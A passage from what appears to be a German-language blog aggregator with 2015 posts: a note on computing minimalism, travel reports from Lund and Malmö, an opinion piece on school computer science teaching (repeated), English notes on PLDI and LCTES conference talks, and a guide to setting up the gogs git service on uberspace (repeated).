Ein anderer Grund der speziell für die Informatik ist und der über dieses eine konkrete Gerät hinaus geht ist ein eher Ideelles. Mit unendlichen Ressourcen kann ich in der Informatik das allermeiste bewältigen. Probleme können häufig durch teurere Hardware erschlagen werden. Aber wir wissen auch, dass alle Rechner prinzipiell gleich mächtig sind, wenn wir sie einmal als angenäherte Turing-Maschine begreifen. Die Kunst eines guten Programmiers ist es aus wenigen Ressourcen alles rauszuholen was geht. Das ist Kunst: aus (fast) nichts (fast) alles machen.

Und dies trifft auch gerade in dem Bereich der Informatik mit dem ich mich beschäftige zu. Betriebssysteme will niemand haben; niemand will seine kostbaren Rechenzyklen dafür hergeben, dass das Betriebssystem irgendwelchen Quatsch berechnet. Am besten das Betriebssystem wäre garnicht da. Hier, und noch viel mehr im Bereich der eingebetten Systeme, kommt es im Besonderen darauf an Ressourceneffizient zu arbeiten. Ich sehe allerdings, dass dieser Geist und diese Freude am Minimalismus nicht mehr so populär ist.

Ich jedenfalls werde die Benutzung dieses Laptops solange ausdehen, wie das nur überhaupt möglich ist.

August 14, 2015

Andreas RuprechtDänemark, Schweden und Hamburg – Sommer 2015

Hier eine Sammlung von Bildern aus dem Sommerurlaub – diesmal im Norden, um der Wüstenhitze zu entkommen, was auch richtig gut funktioniert hat 🙂

July 12, 2015

Christian DietrichLund in Schweden

Zur Zeit befinde ich mich wiedereinmal in schönen Schweden. Letztes Jahr was ich mit zwei Freunden einige Zeit mit dem Wohnmobil von Västerås nach Göteborg unterwegs. Ich habe in der Zeit den schönsten See der Welt gesehen und die Gegend sehr genossen. Ich kann die Strecke wirklich empfehlen, wenn man mit Wohnmobil oder Zelt unterwegs ist.

Dieses Jahr hatte ich glücklicherweise, dank einer Konferenz in Lund, wieder die Chance nach Schweden zu kommen. Diesmal deutlich weiter südlich als letztes Jahr. Lund befindet sich in der Provinz Skåne und etwa 20 Kilometer nördlich von Malmö. Mit seinen 100.000 Einwohnern ist es ungefähr so gross wie Erlangen, hat aber tatsächlich eine noch grössere Universität. 46.000 Studenten absolvieren an der Universität von Lund ihr Studium. Meine Gastgeberin hier meinte auch, dass alle Studenten irgendwie auf dem Stadtgebiet Leben, was zu einer enormen Platznot führt. Aktuell sind gerade Ferien, daher bekomme ich nicht so besonders viel von diesen Studentenmassen mit.

Während der Woche hatte ich nicht besonders viel Zeit mir die Stadt anzuschauen, da ja nebenbei auch noch Konferenz war. Aber Lund ist schon ein wirklich schönes Städtchen, und von grad der niedlichkeit mit Rothenburg o.d.T. vergleichbar, was nahe meines Heimatortes liegt. Die Gebäude sind hier zu einem sehr grossen Teil in Backstein gehalten und es gibt wirklich viele alte Gebäude. Es hat wirklich eine erstaunliche Wirkung auf das Stadtbild, wenn eine Stadt nie wirklich zerstört wurde. Allerding hat man hier auch sehr schnell das allermeiste gesehen. Wie es meine Gastgeberin gesagt hat: "Alles ist 20 Minuten entfernt, alles".

Am Samstag, meinem ersten freien Tag, hab ich mir dann ein Fahrrad gemietet um die Gegend ein bischen zu erkunden. Allerdings dafür, dass Lund von sich behauptet eine Fahrrad Stadt zu sein, ist es ausserordentlich schwierig ein Fahrrad zu leihen. Weil scheinbar alle Läden die Fahrräder verleihen in den letzten Jahren das Angebot eingestellt haben. Ende vom Lied: Ich konnte mir am Samstag um 11 Uhr ein klappriges Damenrad mit einer 3 Gang Nabenschaltung für 25 EUR leihen. Naja, aber immerhin: fahrbarer Untersatz. Was man dann als Gegend zu sehen bekommt ist auch durchaus ansprechend. Ich möchte ausserdem vermelden, dass ich mich 65 km auf diesem Drahtesel, GEGEN den Wind, gekämpft habe.

Am Sonntag hab ich mich dann mittels "Fahrrad" Richtung Malmö begeben. Ich muss sagen: Minder begeistert. Es ist eine ganz nette Stadt, hat ein paar schöne Ecken, aber so wirklich vom Hocher gerissen hat es mich nicht. Mag auch daran liegen, dass das Wetter nicht ganz so grossartig war wie gestern. Aber Malmö, was direkt am Öresund liegt, ist halt doch nur eine Industriehafenstadt. Von Malmö aus geht auch die Öresundbrücke Richtung Kopenhagen, welche ich auch am Dienstag wieder nehmen werde um zurück zum Flughafen zu kommen. Es ist nämlich so, dass man nach Lund am besten kommt, wenn man nach Kopenhagen (Dänemark!) fliegt und dann mit dem Zug über die Brücke gondelt.

June 17, 2015

Maximilian HenryInformatik in der Schule?

Durch die Diskussion auf Twitter um den Lehrplan an Gymnasien in Baden-Württemberg, Gespräche mit Kommilitonen und auch durch meine Eindrücke von dem, was Erstsemester-Studenten bei unseren Einführungsveranstaltungen berichten, habe ich mich immer wieder damit auseinander gesetzt, wie ich finde, dass Informatik an Schulen aussehen sollte und warum ich den bayerischen Status Quo nicht gut finde.
Für alle, die nicht aus Bayern kommen, ein kurzer Abriss, was derzeit an Gymnasien im besten Fall gelehrt wird. Sprich auf dem technischen Zweig und wenn entsprechende Lehrer vorhanden sind. In diesem Fall haben Schüler bis zur 12. Klasse Informatik und behandleln dort Objekt Orientierung, UML, SQL, Programmieren Java und machen Algorithmik bis hin zu den typischen Pfadalgorithmen wie Prim, Kruskal und Dijkstra. Damit haben sie, im Grunde alles behandelt, was im ersten Semester in Algorithmen und Datenstrukturen besprochen wird! Und dieses Fach ist ein Drittel des ersten Semesters. Das ist doch super! Mehr Zeit für anderen spannenden Stoff im Studium, oder?
Well, no.

Das ist das "Optimum". Das Minimum, selbst bei Studenten, die ihr Abitur auf einem bayerischen Gymnasium gemacht haben, sieht völlig anders aus. Abseits vom technischen Zweig ist Informatik in der Oberstufe kein Pflichtfach mehr und was in der Mittelstufe gemacht wurde, kann auch gerne mal eine Mischung aus Office-Klicken und Robot-Karol sein.
Ist also die Streuung das einzige Problem? Nein. Für die Streuung gäbe es naheliegende Optionen, dieses Problem zu verringern, zum Beispiel könnte das Informatik Studium mit Haskell als erste Programmiersprache starten, worin der überwiegende Teil der Studenten das gleiche Erfahrungslevel, keines, hat.
Bleibt aber die Frage: Muss Informatik an Gymnasien überhaupt auf das Studium vorbereiten und wenn nein, warum sollte es wichtig sein, Menschen programmieren beizubringen.
Ich glaube, auf dem Weg in eine immer weiter technisierte Welt gibt es viel wichtiger Dinge, welche Schulen vermitteln sollten, als programmieren! Ich habe die Argumente gehört, dass Programmieren ja zur Ermächtigung der Nutzer, weg vom reinen Konsumenten helfe und auch, dass Programmieren ja bei einem Verständnis von Computern helfen könne, ein Lernziel, welches mir selbst sehr am Herzen liegt. Aber ich bin nicht davon überzeugt. Meine 2,5 Jahre als Tutor in einer Informatik Vorlesung für andere Ingenieure spricht ein anderes Bild. Hier ist eine Auswahl von Menschen, welche die Schule schon hinter sich gelassen haben und sich für ein technisches Studium entschieden haben und noch nicht mal für diese führt programmieren zu lernen zu einem Verständnis von Computern. Wie soll das dann Jahre eher in der Schule klappen? Den gedanklichen Sprung von "Der doofe Computer macht nicht, was ich will" zu "Ich hab dem Computer das falsche gesagt und das hat er dann auch gemacht" schafft nicht mal die Hälfte dort.
Außerdem sollte der Informatikunterricht den Folgen von iPads und Co. entgegenwirken. Denn während ich zu meiner Schulzeit noch die Hoffnung hatte, dass technische Verständnis nachfolgender Generationen könnte besser werden, habe ich inzwischen den gegenteiligen Eindruck. Die Digital Natives sind am Ende doch nur iPad und Facebook Natives, weil die Computer, mit denen sie aufwachsen, ihre Technik viel zu gut verstecken und immer mehr zu schwarzen Boxen werden.
Um nicht nur Negatives und Probleme aufzuzählen, was würde ich nun in einen modernen Informatik Lehrplan packen? Also von mir aus, etwas Programmieren kann man ja machen, aber bitte mit der niedrigst möglichen Einstiegshürde und ohne diesen albernen Fokus auf Objektorientierung, die derzeit in Bayern schon irgendwo in der 7. Klasse eingeführt wird. Stattdessen eher Irgendeine Skriptsprache, mit der man auch interaktiv spielen kann beibringen. Viel wichtiger fände ich aber ein Verständnis von abstrakten Konzepten wie Berechenbarkeit und Verschlüsselung zu vermitteln. Bringt Leuten bei, dass ein Computer eben nicht alles kann! Und, macht Schülern klar, was die gesellschaftlichen Konsequenzen der Digitalen Welt sind, warum es so gut wie unmöglich ist, Dinge wieder aus dem Internet raus zu bekommen, selbst wenn es die Nacktfotos der 16. Jährigen Klassenkameradin sind, die sich doch nur für ihren Freund gemacht hat. Gute und richtige Schritte in diese Richtung gibt es, aber sie kommen aus keinem Kultusministerium, sondern aus der Aktion Chaos macht Schule des Chaos Computer Clubs.

Maximilian HenryInformatik in der Schule?

Durch die Diskussion auf Twitter um den Lehrplan an Gymnasien in Baden-Württemberg, Gespräche mit Kommilitonen und auch durch meine Eindrücke von dem, was Erstsemester-Studenten bei unseren Einführungsveranstaltungen berichten, habe ich mich immer wieder damit auseinander gesetzt, wie ich finde, dass Informatik an Schulen aussehen sollte und warum ich den bayerischen Status Quo nicht gut finde.
Für alle, die nicht aus Bayern kommen, ein kurzer Abriss, was derzeit an Gymnasien im besten Fall gelehrt wird. Sprich auf dem technischen Zweig und wenn entsprechende Lehrer vorhanden sind. In diesem Fall haben Schüler bis zur 12. Klasse Informatik und behandleln dort Objekt Orientierung, UML, SQL, Programmieren Java und machen Algorithmik bis hin zu den typischen Pfadalgorithmen wie Prim, Kruskal und Dijkstra. Damit haben sie, im Grunde alles behandelt, was im ersten Semester in Algorithmen und Datenstrukturen besprochen wird! Und dieses Fach ist ein Drittel des ersten Semesters. Das ist doch super! Mehr Zeit für anderen spannenden Stoff im Studium, oder?
Well, no.

Das ist das "Optimum". Das Minimum, selbst bei Studenten, die ihr Abitur auf einem bayerischen Gymnasium gemacht haben, sieht völlig anders aus. Abseits vom technischen Zweig ist Informatik in der Oberstufe kein Pflichtfach mehr und was in der Mittelstufe gemacht wurde, kann auch gerne mal eine Mischung aus Office-Klicken und Robot-Karol sein.
Ist also die Streuung das einzige Problem? Nein. Für die Streuung gäbe es naheliegende Optionen, dieses Problem zu verringern, zum Beispiel könnte das Informatik Studium mit Haskell als erste Programmiersprache starten, worin der überwiegende Teil der Studenten das gleiche Erfahrungslevel, keines, hat.
Bleibt aber die Frage: Muss Informatik an Gymnasien überhaupt auf das Studium vorbereiten und wenn nein, warum sollte es wichtig sein, Menschen programmieren beizubringen.
Ich glaube, auf dem Weg in eine immer weiter technisierte Welt gibt es viel wichtiger Dinge, welche Schulen vermitteln sollten, als programmieren! Ich habe die Argumente gehört, dass Programmieren ja zur Ermächtigung der Nutzer, weg vom reinen Konsumenten helfe und auch, dass Programmieren ja bei einem Verständnis von Computern helfen könne, ein Lernziel, welches mir selbst sehr am Herzen liegt. Aber ich bin nicht davon überzeugt. Meine 2,5 Jahre als Tutor in einer Informatik Vorlesung für andere Ingenieure spricht ein anderes Bild. Hier ist eine Auswahl von Menschen, welche die Schule schon hinter sich gelassen haben und sich für ein technisches Studium entschieden haben und noch nicht mal für diese führt programmieren zu lernen zu einem Verständnis von Computern. Wie soll das dann Jahre eher in der Schule klappen? Den gedanklichen Sprung von "Der doofe Computer macht nicht, was ich will" zu "Ich hab dem Computer das falsche gesagt und das hat er dann auch gemacht" schafft nicht mal die Hälfte dort.
Außerdem sollte der Informatikunterricht den Folgen von iPads und Co. entgegenwirken. Denn während ich zu meiner Schulzeit noch die Hoffnung hatte, dass technische Verständnis nachfolgender Generationen könnte besser werden, habe ich inzwischen den gegenteiligen Eindruck. Die Digital Natives sind am Ende doch nur iPad und Facebook Natives, weil die Computer, mit denen sie aufwachsen, ihre Technik viel zu gut verstecken und immer mehr zu schwarzen Boxen werden.
Um nicht nur Negatives und Probleme aufzuzählen, was würde ich nun in einen modernen Informatik Lehrplan packen? Also von mir aus, etwas Programmieren kann man ja machen, aber bitte mit der niedrigst möglichen Einstiegshürde und ohne diesen albernen Fokus auf Objektorientierung, die derzeit in Bayern schon irgendwo in der 7. Klasse eingeführt wird. Stattdessen eher Irgendeine Skriptsprache, mit der man auch interaktiv spielen kann beibringen. Viel wichtiger fände ich aber ein Verständnis von abstrakten Konzepten wie Berechenbarkeit und Verschlüsselung zu vermitteln. Bringt Leuten bei, dass ein Computer eben nicht alles kann! Und, macht Schülern klar, was die gesellschaftlichen Konsequenzen der Digitalen Welt sind, warum es so gut wie unmöglich ist, Dinge wieder aus dem Internet raus zu bekommen, selbst wenn es die Nacktfotos der 16. Jährigen Klassenkameradin sind, die sich doch nur für ihren Freund gemacht hat. Gute und richtige Schritte in diese Richtung gibt es, aber sie kommen aus keinem Kultusministerium, sondern aus der Aktion Chaos macht Schule des Chaos Computer Clubs.

Maximilian HenryInformatik in der Schule?

Durch die Diskussion auf Twitter um den Lehrplan an Gymnasien in Baden-Württemberg, Gespräche mit Kommilitonen und auch durch meine Eindrücke von dem, was Erstsemester-Studenten bei unseren Einführungsveranstaltungen berichten, habe ich mich immer wieder damit auseinander gesetzt, wie ich finde, dass Informatik an Schulen aussehen sollte und warum ich den bayerischen Status Quo nicht gut finde.
Für alle, die nicht aus Bayern kommen, ein kurzer Abriss, was derzeit an Gymnasien im besten Fall gelehrt wird. Sprich auf dem technischen Zweig und wenn entsprechende Lehrer vorhanden sind. In diesem Fall haben Schüler bis zur 12. Klasse Informatik und behandleln dort Objekt Orientierung, UML, SQL, Programmieren Java und machen Algorithmik bis hin zu den typischen Pfadalgorithmen wie Prim, Kruskal und Dijkstra. Damit haben sie, im Grunde alles behandelt, was im ersten Semester in Algorithmen und Datenstrukturen besprochen wird! Und dieses Fach ist ein Drittel des ersten Semesters. Das ist doch super! Mehr Zeit für anderen spannenden Stoff im Studium, oder?
Well, no.

Das ist das "Optimum". Das Minimum, selbst bei Studenten, die ihr Abitur auf einem bayerischen Gymnasium gemacht haben, sieht völlig anders aus. Abseits vom technischen Zweig ist Informatik in der Oberstufe kein Pflichtfach mehr und was in der Mittelstufe gemacht wurde, kann auch gerne mal eine Mischung aus Office-Klicken und Robot-Karol sein.
Ist also die Streuung das einzige Problem? Nein. Für die Streuung gäbe es naheliegende Optionen, dieses Problem zu verringern, zum Beispiel könnte das Informatik Studium mit Haskell als erste Programmiersprache starten, worin der überwiegende Teil der Studenten das gleiche Erfahrungslevel, keines, hat.
Bleibt aber die Frage: Muss Informatik an Gymnasien überhaupt auf das Studium vorbereiten und wenn nein, warum sollte es wichtig sein, Menschen programmieren beizubringen.
Ich glaube, auf dem Weg in eine immer weiter technisierte Welt gibt es viel wichtiger Dinge, welche Schulen vermitteln sollten, als programmieren! Ich habe die Argumente gehört, dass Programmieren ja zur Ermächtigung der Nutzer, weg vom reinen Konsumenten helfe und auch, dass Programmieren ja bei einem Verständnis von Computern helfen könne, ein Lernziel, welches mir selbst sehr am Herzen liegt. Aber ich bin nicht davon überzeugt. Meine 2,5 Jahre als Tutor in einer Informatik Vorlesung für andere Ingenieure spricht ein anderes Bild. Hier ist eine Auswahl von Menschen, welche die Schule schon hinter sich gelassen haben und sich für ein technisches Studium entschieden haben und noch nicht mal für diese führt programmieren zu lernen zu einem Verständnis von Computern. Wie soll das dann Jahre eher in der Schule klappen? Den gedanklichen Sprung von "Der doofe Computer macht nicht, was ich will" zu "Ich hab dem Computer das falsche gesagt und das hat er dann auch gemacht" schafft nicht mal die Hälfte dort.
Außerdem sollte der Informatikunterricht den Folgen von iPads und Co. entgegenwirken. Denn während ich zu meiner Schulzeit noch die Hoffnung hatte, dass technische Verständnis nachfolgender Generationen könnte besser werden, habe ich inzwischen den gegenteiligen Eindruck. Die Digital Natives sind am Ende doch nur iPad und Facebook Natives, weil die Computer, mit denen sie aufwachsen, ihre Technik viel zu gut verstecken und immer mehr zu schwarzen Boxen werden.
Um nicht nur Negatives und Probleme aufzuzählen, was würde ich nun in einen modernen Informatik Lehrplan packen? Also von mir aus, etwas Programmieren kann man ja machen, aber bitte mit der niedrigst möglichen Einstiegshürde und ohne diesen albernen Fokus auf Objektorientierung, die derzeit in Bayern schon irgendwo in der 7. Klasse eingeführt wird. Stattdessen eher Irgendeine Skriptsprache, mit der man auch interaktiv spielen kann beibringen. Viel wichtiger fände ich aber ein Verständnis von abstrakten Konzepten wie Berechenbarkeit und Verschlüsselung zu vermitteln. Bringt Leuten bei, dass ein Computer eben nicht alles kann! Und, macht Schülern klar, was die gesellschaftlichen Konsequenzen der Digitalen Welt sind, warum es so gut wie unmöglich ist, Dinge wieder aus dem Internet raus zu bekommen, selbst wenn es die Nacktfotos der 16. Jährigen Klassenkameradin sind, die sich doch nur für ihren Freund gemacht hat. Gute und richtige Schritte in diese Richtung gibt es, aber sie kommen aus keinem Kultusministerium, sondern aus der Aktion Chaos macht Schule des Chaos Computer Clubs.

June 14, 2015

Christian DietrichOn Conference: PLDI and LCTES

Currently, I'm attending the FCRC Multi-Conference in Portland, Oregon. I want to write a few paragraphs about contributions I found especially interesting, and this post is more a journal for myself, than written for wider audience. But, perhaps this is interesting to others as well.

Panchekha et al. introduced Herbie, which is an heuristic optimizer for floating-point expressions to increase precision. In computing floating-point expression, the ordering and selectiong of instructions is essential for the precision of the calculation. Herbie takes an actual Rn->R function and emits a partially defined function with a minimized imprecision introduced by the selected operations.

Lopes et al presented Alive, which is an verifier for peephole optimizations in compilers. A peephole optimizations looks at the immediate representation or the machine code and replaces templates of code with faster templates of code. Alive does use the C3 theorem prover to prove the correctness of such optimizations in LLVM and found 8 bugs.

Furthermore, I learned about the existence of Vickery auctions, which is a form of auction, where the highest bid wins, but the winner does pay the price of the second highest bid. In constrast to a normal auction, this auction type does maximize the social welfare instead of the revenue. Social wellfare is defined in this setting as: the bidder with the highest need to get the item will win.

Kanev et al. presented a hardware profiling of whole datacenters. And the results are rather amazing. They profiles a bunch of Google servers for a few weeks and examined the results. It is surprising that about 30 percent of all instructions are spent in the "datacenter tax" (allocation, memmove, rpc, protobuf, hash, compression). This is really a huge number. Furthermore, they could show that pipeline stalls due to instruction cache misses contribute largely to the waiting time in those large datacenter applications. The i-cache working sets are often larger than the L2 cache; the instructions have to compete with data cache lines. Perhaps we will see computers with split L2 cache in the future.

In the DCC keynote, John Wilkes talked about cluster management at the Google datacenters. And their approach is fascinating. The basic assumption is: a machine that is not running has a speed of 0. Therefore, we optimize for availability and we assume failure to be the normal operation mode. In an EuroSys'15 paper, Verma et al talk about the Borg cluster management software, Google uses internally for its management.

During the LCTES conference, Bardizbanyan et al. presented a processor modification to adapt the memory-fetch stage so it takes the need of the current memory operation into account. Not all memory operations need all features the addressing mode provides. For example, mov 4(%eax), %ebx doesn't need an offset from a register with scaling (in contrast to niv 4(%eax, %ecx, 4)). Therefore, they propsed to gate these addressing features within the memory fetch stage and do speculative address calculation to improve energy consumption and latency of the stage.

Baird et al. presented a method to optimize programs for static-pipeline processors. A static pipeline is similar to a horizontal-micro instruction CPU. For a static-pipeline CPU, the compiler doesn't emit a stream of instructions, where each token is one instruction, but it splits the effects upon several commands. Each command describes what all stages of the pipeline should do in the current instruction cycle. Statically pipelined processors, are hard to program, but reveal a high energy efficiency. Baird proposed methods to optimize transfer-of-control instructions for these command-packets.

From Ghosh et al., I learned that processors that do dynamic binary translation (e.g., Transmeta Crusoe) can to speculative alias analysis. For this, the processor has some alias registers and every instructions is marked to either update of check a specific alias register. If two instructions then have an aliased pointer, the CPU faults, and the program is translated without the optimization that lead to that fault.

With Clover, Liu et al. presented an hybrid approach to mitigate soft-errors. As a hardware plattform, they used a processor with sonic micro-detectors that can detect the impact of a cosmic particle. In software, they implemented checkpointing for code-regions. Since the detector has a delay due to the physical limiation of a sonic detector, they proposed a compiler-based approach to execute the last N instructions of each code region twice in order to cover the worst-case detection delay. Although they claimed to be free of SDCs, they have strong assumptions, about their fault-model (fault occur on chip and the memory is ECC protected) and control-flow errors (there is a working software-based control-flow error detection).

May 22, 2015

Maximilian Henrygogs auf uberspace

gogs ist ein git-Webdienst ähnlich zu dem was github, oder als Konkurent gitlab, welches man sich ebenfalls zum selbst hosten installieren kann, bietet. Gitlab ist zwar das bekanntere Projekt und hat vielleicht auch mehr Features, ist allerdings typische Ruby-Software und entsprechend lustig zum aufsetzen. Wer es unkomplizierter mag und außerdem vielleicht auch ohne eine gitshell aus kommt, weil es eigentlich nur um ein Webinterface geht, mit der Möglichkeit geht, eigene Projekte mit einer http(s)-url verfügbar zu machen, für den ist gogs auf jeden Fall eine einfache und schicke Lösung.

Die Installation geht relativ einfach von statten und folgt im großen der offiziellen Anleitung. Wichtig war bei mir, nicht das Go zu benutzen, welches installiert ist, auch wenn es eigentlich aktuell genug sein sollte, sondern auch hier, eine neue Version lokal zu installieren.

Die aus den Quellen gebaute Version braucht außerdem MySQL oder PostgreSQL, SQLite funktionierte bei mir nicht. Also erst einmal in den Adminer gehen, und eine neue Datenbank für gogs anlegen.
Dann nach dem wir die Installation abgeschlossen haben, wollen wir vor dem ausführen noch die Config anpassen.

Mein Ansatz ist, gogs in einem Unterordner meiner Domain laufen zu lassen, also wollen wir das in die Konfiguration schreiben und außerdem brauchen wir noch eine freie Port Nummer.
Also sollte unser app.ini nun so aussehen:

   DOMAIN = $EUREURL
   HTTP_PORT = $EUERPORT
   ROOT_URL = https://$EUREURL/git/
   DISABLE_SSH = true
   [database]
   DB_TYPE = mysql
   HOST = 127.0.0.1:3306
   NAME = $UBERSPACEUSER_gogs
   USER = $UBERSPACEUSER
   PASSWD = $MYSQLPW

und für den port brauchen wir noch in dem Webroot euer Domain im Ordner /git/ eine .htaccess Datei, welche so aussehen sollte:

   RewriteRule ^(.*) http://localhost:$EUERPORT/$1 [P]

Damit passt jetzt alles, und ihr solltet, nachdem ihr gogs mit ./gogs web gestartet hab, euch euren Nutzer anlegen können.

Maximilian Henrygogs auf uberspace

gogs ist ein git-Webdienst ähnlich zu dem was github, oder als Konkurent gitlab, welches man sich ebenfalls zum selbst hosten installieren kann, bietet. Gitlab ist zwar das bekanntere Projekt und hat vielleicht auch mehr Features, ist allerdings typische Ruby-Software und entsprechend lustig zum aufsetzen. Wer es unkomplizierter mag und außerdem vielleicht auch ohne eine gitshell aus kommt, weil es eigentlich nur um ein Webinterface geht, mit der Möglichkeit geht, eigene Projekte mit einer http(s)-url verfügbar zu machen, für den ist gogs auf jeden Fall eine einfache und schicke Lösung.

Die Installation geht relativ einfach von statten und folgt im großen der offiziellen Anleitung. Wichtig war bei mir, nicht das Go zu benutzen, welches installiert ist, auch wenn es eigentlich aktuell genug sein sollte, sondern auch hier, eine neue Version lokal zu installieren.

Die aus den Quellen gebaute Version braucht außerdem MySQL oder PostgreSQL, SQLite funktionierte bei mir nicht. Also erst einmal in den Adminer gehen, und eine neue Datenbank für gogs anlegen.
Dann nach dem wir die Installation abgeschlossen haben, wollen wir vor dem ausführen noch die Config anpassen.

Mein Ansatz ist, gogs in einem Unterordner meiner Domain laufen zu lassen, also wollen wir das in die Konfiguration schreiben und außerdem brauchen wir noch eine freie Port Nummer.
Also sollte unser app.ini nun so aussehen:

   DOMAIN = $EUREURL
   HTTP_PORT = $EUERPORT
   ROOT_URL = https://$EUREURL/git/
   DISABLE_SSH = true
   [database]
   DB_TYPE = mysql
   HOST = 127.0.0.1:3306
   NAME = $UBERSPACEUSER_gogs
   USER = $UBERSPACEUSER
   PASSWD = $MYSQLPW

und für den port brauchen wir noch in dem Webroot euer Domain im Ordner /git/ eine .htaccess Datei, welche so aussehen sollte:

   RewriteRule ^(.*) http://localhost:$EUERPORT/$1 [P]

Damit passt jetzt alles, und ihr solltet, nachdem ihr gogs mit ./gogs web gestartet hab, euch euren Nutzer anlegen können.